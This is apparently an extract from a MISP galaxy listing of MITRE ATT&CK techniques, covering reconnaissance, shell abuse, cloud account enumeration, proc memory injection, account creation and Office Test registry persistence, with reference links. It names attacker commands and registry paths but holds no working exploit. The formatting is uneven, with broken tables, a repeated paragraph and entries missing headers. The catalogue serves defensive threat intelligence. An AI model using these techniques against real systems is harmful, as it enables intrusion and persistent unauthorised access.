</tr>
<tr>
<td><a href="https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf">https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Anatomy-Of-Native-Iis-Malware-wp.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage">https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage</a></td>
</tr>
</tbody>
</table>

**Network Topology - T1590.004**

Adversaries may gather information about the victim’s network topology that can be used during targeting. Information about network topologies may include a variety of details, including the physical and/or logical arrangement of both external-facing and internal network environments. This information may also include specifics regarding network devices (gateways, routers, etc.) and other infrastructure.

Adversaries may gather this information in various ways, such as direct collection actions via
[Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about network topologies may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: DNS Dumpster) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: `misp-galaxy:mitre-attack-pattern="Network Topology - T1590.004"`

### Table 5564. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1590/004">https://attack.mitre.org/techniques/T1590/004</a></td>
</tr>
<tr>
<td><a href="https://dnsdumpster.com/">https://dnsdumpster.com/</a></td>
</tr>
</tbody>
</table>

---

**Unix Shell - T1059.004**

Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.

Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.

The tag is: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"`

### Table 5565. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1059/004">https://attack.mitre.org/techniques/T1059/004</a></td>
</tr>
<tr>
<td><a href="https://linux.die.net/man/1/bash">https://linux.die.net/man/1/bash</a></td>
</tr>
<tr>
<td><a href="https://support.apple.com/HT208050">https://support.apple.com/HT208050</a></td>
</tr>
</tbody>
</table>
Cloud Accounts - T1078.004

Valid accounts in cloud environments may allow adversaries to perform actions to achieve Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application. Cloud Accounts can exist solely in the cloud or be hybrid joined between on-premises systems and the cloud through federation with other identity sources such as Windows Active Directory. (Citation: AWS Identity Federation)(Citation: Google Federating GC)(Citation: Microsoft Deploying AD Federation)

Service or user accounts may be targeted by adversaries through [Brute Force](https://attack.mitre.org/techniques/T1110), [Phishing](https://attack.mitre.org/techniques/T1566), or various other means to gain access to the environment. Federated accounts may be a pathway for the adversary to affect both on-premises systems and cloud environments.

An adversary may create long lasting [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) on a compromised cloud account to maintain persistence in the environment. Such credentials may also be used to bypass security controls such as multi-factor authentication.

Cloud accounts may also be able to assume [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005) or other privileges through various means within the environment. Misconfigurations in role assignments or role assumption policies may allow an adversary to use these mechanisms to leverage permissions outside the intended scope of the account. Such over privileged accounts may be used to harvest sensitive data from online storage accounts and databases through [Cloud API](https://attack.mitre.org/techniques/T1059/009) or other methods.

The tag is: misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"

Table 5566. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1078/004">https://attack.mitre.org/techniques/T1078/004</a></td>
</tr>
</tbody>
</table>

Cloud Account - T1087.004

Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.

With authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or
permissions group in Office 365. The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command `<code>az ad user list</code>` will list all users within a domain.

The AWS command `<code>aws iam list-users</code>` may be used to obtain a list of users in the current account while `<code>aws iam list-roles</code>` can obtain IAM roles that have a specified path prefix. In GCP, `<code>gcloud iam service-accounts list</code>` and `<code>gcloud projects get-iam-policy</code>` may be used to obtain a listing of service accounts and users in a project.

The tag is: `misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004"`

**Table 5567. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1087/004">https://attack.mitre.org/techniques/T1087/004</a></td>
</tr>
<tr>
<td><a href="https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list">https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html">https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html</a></td>
</tr>
<tr>
<td><a href="https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html">https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/True-Demon/raindance">https://github.com/True-Demon/raindance</a></td>
</tr>
</tbody>
</table>

**IP Addresses - T1590.005**

Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex:
Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft)

Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript)

Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads (which may also involve [Mark-of-the-Web Bypass](https://attack.mitre.org/techniques/T1553/005) to enable execution).(Citation: Default VBS macros Blocking )

The tag is: `misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005"`

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1059/005">https://attack.mitre.org/techniques/T1059/005</a></td>
</tr>
<tr>
<td><a href="https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/">https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/dotnet/visual-basic/">https://docs.microsoft.com/dotnet/visual-basic/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/office/vba/api/overview/">https://docs.microsoft.com/office/vba/api/overview/</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)">https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)</a></td>
</tr>
</tbody>
</table>
Proc Memory - T1055.009

Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process.

Proc memory injection involves enumerating the memory of a process via the /proc filesystem (<code>/proc/[pid]</code>) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes' stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes' memory map within <code>/proc/[pid]/maps</code> can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man)

Other techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process.

The tag is: misp-galaxy:mitre-attack-pattern="Proc Memory - T1055.009"

Table 5570. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://hick.org/code/skape/papers/needle.txt">http://hick.org/code/skape/papers/needle.txt</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1055/009">https://attack.mitre.org/techniques/T1055/009</a></td>
</tr>
</tbody>
</table>

Link Target - T1608.005

Adversaries may put in place resources that are referenced by a link that can be used during targeting. An adversary may rely upon a user clicking a malicious link in order to divulge
information (including credentials) or to gain execution, as in [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Links can be used for spearphishing, such as sending an email accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. Prior to a phish for information (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003)) or a phish to gain initial access to a system (as in [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002)), an adversary must set up the resources for a link target for the spearphishing link.

Typically, the resources for a link target will be an HTML page that may include some client-side script such as [JavaScript](https://attack.mitre.org/techniques/T1059/007) to decide what content to serve to the user. Adversaries may clone legitimate sites to serve as the link target, this can include cloning of login pages of legitimate web services or organization login pages in an effort to harvest credentials during [Spearphishing Link](https://attack.mitre.org/techniques/T1598/003).(Citation: Malwarebytes Silent Librarian October 2020)(Citation: Proofpoint TA407 September 2019) Adversaries may also [Upload Malware](https://attack.mitre.org/techniques/T1608/001) and have the link target point to malware for download/execution by the user.

Adversaries may purchase domains similar to legitimate domains (ex: homoglyphs, typosquatting, different top-level domain, etc.) during acquisition of infrastructure ([Domains](https://attack.mitre.org/techniques/T1583/001)) to help facilitate [Malicious Link](https://attack.mitre.org/techniques/T1204/001). Link shortening services can also be employed. Adversaries may also use free or paid accounts on Platform-as-a-Service providers to host link targets while taking advantage of the widely trusted domains of those providers to avoid being blocked.(Citation: Netskope GCP Redirection)(Citation: Netskope Cloud Phishing)(Citation: Intezer App Service Phishing) Finally, adversaries may take advantage of the decentralized nature of the InterPlanetary File System (IPFS) to host link targets that are difficult to remove.(Citation: Talos IPFS 2022)

The tag is: misp-galaxy:mitre-attack-pattern="Link Target - T1608.005"

### Table 5571. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1608/005">https://attack.mitre.org/techniques/T1608/005</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/ipfs-abuse/">https://blog.talosintelligence.com/ipfs-abuse/</a></td>
</tr>
<tr>
<td><a href="https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service">https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service</a></td>
</tr>
<tr>
<td><a href="https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection">https://www.netskope.com/blog/targeted-attacks-abusing-google-cloud-platform-open-redirection</a></td>
</tr>
</tbody>
</table>

### Device Registration - T1098.005

Adversaries may register a device to an adversary-controlled account. Devices may be registered in
a multifactor authentication (MFA) system, which handles authentication to the network, or in a
device management system, which handles device access and compliance.

MFA systems, such as Duo or Okta, allow users to associate devices with their accounts in order to
complete MFA requirements. An adversary that compromises a user's credentials may enroll a new
device in order to bypass initial MFA requirements and gain persistent access to a
network.(Citation: CISA MFA PrintNightmare)(Citation: DarkReading FireEye SolarWinds) In some
cases, the MFA self-enrollment process may require only a username and password to enroll the
account's first device or to enroll a device to an inactive account. (Citation: Mandiant APT29
Microsoft 365 2022)

Similarly, an adversary with existing access to a network may register a device to Azure AD and/or
its device management system, Microsoft Intune, in order to access sensitive data or resources
while bypassing conditional access policies.(Citation: AADInternals - Device Registration)(Citation:
AADInternals - Conditional Access Bypass)(Citation: Microsoft DEV-0537)

Devices registered in Azure AD may be able to conduct [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) campaigns via intra-organizational
emails, which are less likely to be treated as suspicious by the email client.(Citation: Microsoft -
Device Registration) Additionally, an adversary may be able to perform a [Service Exhaustion
Flood](https://attack.mitre.org/techniques/T1499/002) on an Azure AD tenant by registering a large
number of devices.(Citation: AADInternals - BPRT)

The tag is: **misp-galaxy:mitre-attack-pattern="Device Registration - T1098.005"**

### Table 5572. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1098/005">https://attack.mitre.org/techniques/T1098/005</a></td>
</tr>
<tr>
<td><a href="https://o365blog.com/post/bprt/">https://o365blog.com/post/bprt/</a></td>
</tr>
<tr>
<td><a href="https://o365blog.com/post/devices/">https://o365blog.com/post/devices/</a></td>
</tr>
<tr>
<td><a href="https://o365blog.com/post/mdm">https://o365blog.com/post/mdm</a></td>
</tr>
<tr>
<td><a href="https://www.cisa.gov/uscert/ncas/alerts/aa22-074a">https://www.cisa.gov/uscert/ncas/alerts/aa22-074a</a></td>
</tr>
</tbody>
</table>
| [https://www.darkreading.com/threat-intelligence/fireeye-s-mandia-severity-zero-alert-led-to-
| [https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft](https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft) |
| [https://www.microsoft.com/security/blog/2022/01/26/evolved-phishing-device-registration-trick-
| [https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-

**Cloud API - T1059.009**

Adversaries may abuse cloud APIs to execute malicious commands. APIs available in cloud
environments provide various functionalities and are a feature-rich method for programmatic
access to nearly all aspects of a tenant. These APIs may be utilized through various methods such as command line interpreters (CLIs), in-browser Cloud Shells, [PowerShell](https://attack.mitre.org/techniques/T1059/001) modules like Azure for PowerShell(Citation: Microsoft - Azure PowerShell), or software developer kits (SDKs) available for languages such as [Python](https://attack.mitre.org/techniques/T1059/006).

Cloud API functionality may allow for administrative access across all major services in a tenant such as compute, storage, identity and access management (IAM), networking, and security policies.

With proper permissions (often via use of credentials such as [Application Access Token](https://attack.mitre.org/techniques/T1550/001) and [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004), adversaries may abuse cloud APIs to invoke various functions that execute malicious actions. For example, CLI and PowerShell functionality may be accessed through binaries installed on cloud-hosted or on-premises hosts or accessed through a browser-based cloud shell offered by many cloud platforms (such as AWS, Azure, and GCP). These cloud shells are often a packaged unified environment to use CLI and/or scripting modules hosted as a container in the cloud environment.

The tag is: `misp-galaxy:mitre-attack-pattern="Cloud API - T1059.009"`

**Table 5573. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1059/009">https://attack.mitre.org/techniques/T1059/009</a></td>
</tr>
<tr>
<td><a href="https://github.com/Azure/azure-powershell">https://github.com/Azure/azure-powershell</a></td>
</tr>
</tbody>
</table>

**SEO Poisoning - T1608.006**

Adversaries may poison mechanisms that influence search engine optimization (SEO) to further lure staged capabilities towards potential victims. Search engines typically display results to users based on purchased ads as well as the site’s ranking/score/reputation calculated by their web crawlers and algorithms.(Citation: Atlas SEO)(Citation: MalwareBytes SEO)

To help facilitate [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), adversaries may stage content that explicitly manipulates SEO rankings in order to promote sites hosting their malicious payloads (such as [Drive-by Target](https://attack.mitre.org/techniques/T1608/004)) within search engines. Poisoning SEO rankings may involve various tricks, such as stuffing keywords (including in the form of hidden text) into compromised sites. These keywords could be related to the interests/browsing habits of the intended victim(s) as well as more broad, seasonably popular topics (e.g. elections, trending news).(Citation: ZScaler SEO)(Citation: Atlas SEO)

Adversaries may also purchase or plant incoming links to staged capabilities in order to boost the site’s calculated relevance and reputation.(Citation: MalwareBytes SEO)(Citation: DFIR Report Gootloader)

SEO poisoning may also be combined with evasive redirects and other cloaking mechanisms (such as measuring mouse movements or serving content based on browser user agents, user language/localization settings, or HTTP headers) in order to feed SEO inputs while avoiding scrutiny from defenders.(Citation: ZScaler SEO)(Citation: Sophos Gootloader)
Standard Encoding - T1132.001

Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME. (Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.

Symmetric Cryptography - T1521.001

Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, Blowfish, and RC4.
Fileless Storage - T1027.011

Adversaries may store data in "fileless" formats to conceal malicious activity from defenses. Fileless storage can be broadly defined as any format other than a file. Common examples of non-volatile fileless storage include the Windows Registry, event logs, or WMI repository. (Citation: Microsoft Fileless) (Citation: SecureList Fileless)

Similar to fileless in-memory behaviors such as [Reflective Code Loading](https://attack.mitre.org/techniques/T1620) and [Process Injection](https://attack.mitre.org/techniques/T1055), fileless data storage may remain undetected by anti-virus and other endpoint security tools that can only access specific file formats from disk storage.

Adversaries may use fileless storage to conceal various types of stored data, including payloads/shellcode (potentially being used as part of [Persistence](https://attack.mitre.org/tactics/TA0003)) and collected data not yet exfiltrated from the victim (e.g., [Local Data Staging](https://attack.mitre.org/techniques/T1074/001)). Adversaries also often encrypt, encode, splice, or otherwise obfuscate this fileless data when stored.

Some forms of fileless storage activity may indirectly create artifacts in the file system, but in central and otherwise difficult to inspect formats such as the WMI (e.g., %SystemRoot%\System32\Wbem\Repository) or Registry (e.g., %SystemRoot%\System32\Config) physical files. (Citation: Microsoft Fileless)

The tag is: `misp-galaxy:mitre-attack-pattern="Fileless Storage - T1027.011"`

**Table S577. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1027/011">https://attack.mitre.org/techniques/T1027/011</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/">https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/</a></td>
</tr>
</tbody>
</table>

Local Account - T1136.001

Adversaries may create a local account to maintain access to victim systems. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.

For example, with a sufficient level of access, the Windows `<code>net user /add</code>` command can be used to create a local account. On macOS systems the `<code>dscl -create</code>` command can be used to create a local account. Local accounts may also be added to network devices, often via common [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `<code>username</code>`, or to Kubernetes clusters using the `kubectl` utility. (Citation: cisco_username_cmd) (Citation: Kubernetes Service Accounts Security)

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Internal Defacement - T1491.001

An adversary may deface systems internal to an organization in an attempt to intimidate or mislead users, thus discrediting the integrity of the systems. This may take the form of modifications to internal websites, or directly to user systems with the replacement of the desktop wallpaper. (Citation: Novetta Blockbuster) Disturbing or offensive images may be used as a part of [Internal Defacement](https://attack.mitre.org/techniques/T1491/001) in order to cause user discomfort, or to pressure compliance with accompanying messages. Since internally defacing systems exposes an adversary's presence, it often takes place after other intrusion goals have been accomplished. (Citation: Novetta Blockbuster Destructive Malware)

The tag is: `misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001"`

Asymmetric Cryptography - T1521.002

Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic, rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private that should not be distributed. Due to how asymmetric algorithms work, the sender encrypts data with the receiver's public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA, ElGamal, and ECDSA.

For efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these
protocols are classified as [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1521/002).

The tag is: *misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1521.002"

Table 5580. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1521/002">https://attack.mitre.org/techniques/T1521/002</a></td>
</tr>
</tbody>
</table>

## Control Panel - T1218.002

Adversaries may abuse control.exe to proxy execution of malicious payloads. The Windows Control Panel process binary (control.exe) handles execution of Control Panel items, which are utilities that allow users to view and adjust computer settings.

Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a `<code>CPlApplet</code>` function. For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. Control Panel items can be executed directly from the command line, programatically via an application programming interface (API) call, or by simply double-clicking the file. Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or executed as part of multi-stage malware. Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

Malicious Control Panel items can be delivered via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or executed as part of multi-stage malware. Control Panel items, specifically CPL files, may also bypass application and/or file extension allow lists.

Adversaries may also rename malicious DLL files (.dll) with Control Panel file extensions (.cpl) and register them to `<code>HKCU\Software\Microsoft\Windows\CurrentVersion\Control Panel\Cpls</code>`. Even when these registered DLLs do not comply with the CPL file specification and do not export `<code>CPlApplet</code>` functions, they are loaded and executed through its `<code>DllEntryPoint</code>` when Control Panel is executed. CPL files not exporting `<code>CPlApplet</code>` are not directly executable.

The tag is: *misp-galaxy:mitre-attack-pattern="Control Panel - T1218.002"

Table 5581. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1218/002">https://attack.mitre.org/techniques/T1218/002</a></td>
</tr>
<tr>
<td><a href="https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/">https://blog.trendmicro.com/trendlabs-security-intelligence/control-panel-files-used-as-malicious-attachments/</a></td>
</tr>
</tbody>
</table>
Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git.

Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or credentials contained within software’s source code. Having access to software’s source code may allow adversaries to develop [Exploits](https://attack.mitre.org/techniques/T1587/004), while credentials may provide access to additional resources using [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: Wired Uber Breach)(Citation: Krebs Adobe)

**Note:** This is distinct from [Code Repositories](https://attack.mitre.org/techniques/T1593/003), which focuses on conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043) via public code repositories.

The tag is: `misp-galaxy:mitre-attack-pattern="Code Repositories - T1213.003"`

**Domain Account - T1136.002**

Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the `<code>net user /add /domain</code>` command can be used to create a domain account.

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

The tag is: `misp-galaxy:mitre-attack-pattern="Domain Account - T1136.002"`
Unix Shell - T1623.001

Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the underlying command prompts on Android and iOS devices. Unix shells can control every aspect of a system, with certain commands requiring elevated privileges that are only accessible if the device has been rooted or jailbroken.

Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.

Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with SSH. Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.

If the device has been rooted or jailbroken, adversaries may locate and invoke a superuser binary to elevate their privileges and interact with the system as the root user. This dangerous level of permissions allows the adversary to run special commands and modify protected system files.

The tag is: misp-galaxy:mitre-attack-pattern="Unix Shell - T1623.001"

Office Test - T1137.002

Adversaries may abuse the Microsoft Office "Office Test" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)

There exist user and global Registry keys for the Office Test feature:

- `<code>HKEY_CURRENT_USER\Software\Microsoft\Office test\Special\Perf</code>`
- `<code>HKEY_LOCAL_MACHINE\Software\Microsoft\Office test\Special\Perf</code>`

Adversaries may add this Registry key and specify a malicious DLL that will be executed whenever
an Office application, such as Word or Excel, is started.

The tag is: misp-galaxy:mitre-attack-pattern="Office Test - T1137.002"

Table 5585. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/">http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1137/002">https://attack.mitre.org/techniques/T1137/002</a></td>
</tr>
</tbody>
</table>

System Firmware - T1542.001

Adversaries may modify system firmware to persist on systems. The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

The tag is: misp-galaxy:mitre-attack-pattern="System Firmware - T1542.001"

Table 5586. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html">http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html</a></td>
</tr>
<tr>
<td><a href="http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about">http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about</a></td>
</tr>
<tr>
<td><a href="http://www.uefi.org/about">http://www.uefi.org/about</a></td>
</tr>
<tr>
<td><a href="https://attack.mitre.org/techniques/T1542/001">https://attack.mitre.org/techniques/T1542/001</a></td>
</tr>
<tr>
<td><a href="https://en.wikipedia.org/wiki/BIOS">https://en.wikipedia.org/wiki/BIOS</a></td>
</tr>
<tr>
<td><a href="https://github.com/chipsec/chipsec">https://github.com/chipsec/chipsec</a></td>
</tr>
<tr>
